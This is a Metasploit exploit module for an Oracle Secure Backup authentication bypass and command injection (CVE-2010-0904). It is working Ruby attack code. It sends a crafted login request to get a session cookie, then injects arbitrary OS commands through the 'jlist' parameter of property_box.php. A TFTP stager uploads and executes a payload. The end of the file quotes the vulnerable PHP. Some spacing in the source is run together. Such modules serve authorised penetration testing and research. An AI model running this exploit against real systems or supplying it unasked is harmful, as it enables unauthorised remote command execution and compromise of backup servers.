### $Id: osb_uname_jlist.rb 13591 2011-08-19 18:35:29Z mc $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'classMetasploit3< Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient
definitialize(info ={})super(update_info(info,'Name'=>'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability','Description'=>%q{
This module exploits an authentication bypass vulnerability
in login.php. In conjuction with the authentication bypass issue,
the 'jlist' parameter in property_box.php can be used to execute
arbitrary system commands.
This module was tested against Oracle Secure Backup version 10.3.0.1.0},'Author'=>['MC'],'License'=> MSF_LICENSE,'Version'=>'$Revision: 13591 $','References'=>[['URL','http://www.zerodayinitiative.com/advisories/ZDI-10-118'],['CVE','2010-0904'],# the jlist vector has not been disclosed or has it?],'Targets'=>[['Windows Universal',{'Arch'=> ARCH_X86,'Platform'=>'win'}]],'Privileged'=>'true','Platform'=>'win','DisclosureDate'=>'Jul 13 2010','DefaultTarget'=>0))
register_options([
Opt::RPORT(443),
OptBool.new('SSL',[true,'Use SSL', true]),
OptString.new('CMD',[ false,'Execute this command instead of using command stager',""])], self.class)
end
def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4))+".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({:temp =>'.'})@payload_exe= payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
defexecute_command(cmd, opts ={})
res = send_request_cgi({'uri'=>'/login.php','data'=>'attempt=1&uname=-','method'=>'POST',},5)if(res.headers['Set-Cookie']and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
sessionid = res.headers['Set-Cookie'].split(';')[0]
data ='?type=Job&jlist=0%26'+ Rex::Text::uri_encode(cmd)
send_request_raw({'uri'=>'/property_box.php'+ data,'cookie'=> sessionid,'method'=>'GET',},5)else
print_error("Invalid PHPSESSION token..")return
end
end
def exploit
ifnot datastore['CMD'].empty?
print_status("Executing command '#{datastore['CMD']}'")
execute_command(datastore['CMD'])return
end
case target['Platform']
when 'win'
windows_stager
elseraise RuntimeError,'Target not supported.'
end
handler
end
end
__END__
elseif(strcmp($type,"Job")==0){if(!is_array($objectname))
$objectname = array();
reset($objectname);while(list(,$oname)= each($objectname)){
$oname = escapeshellarg($oname);
$jlist ="$jlist $oname";}if(strlen($jlist)>0)
$msg = exec_qr("$rbtool lsjob -lrRLC $jlist");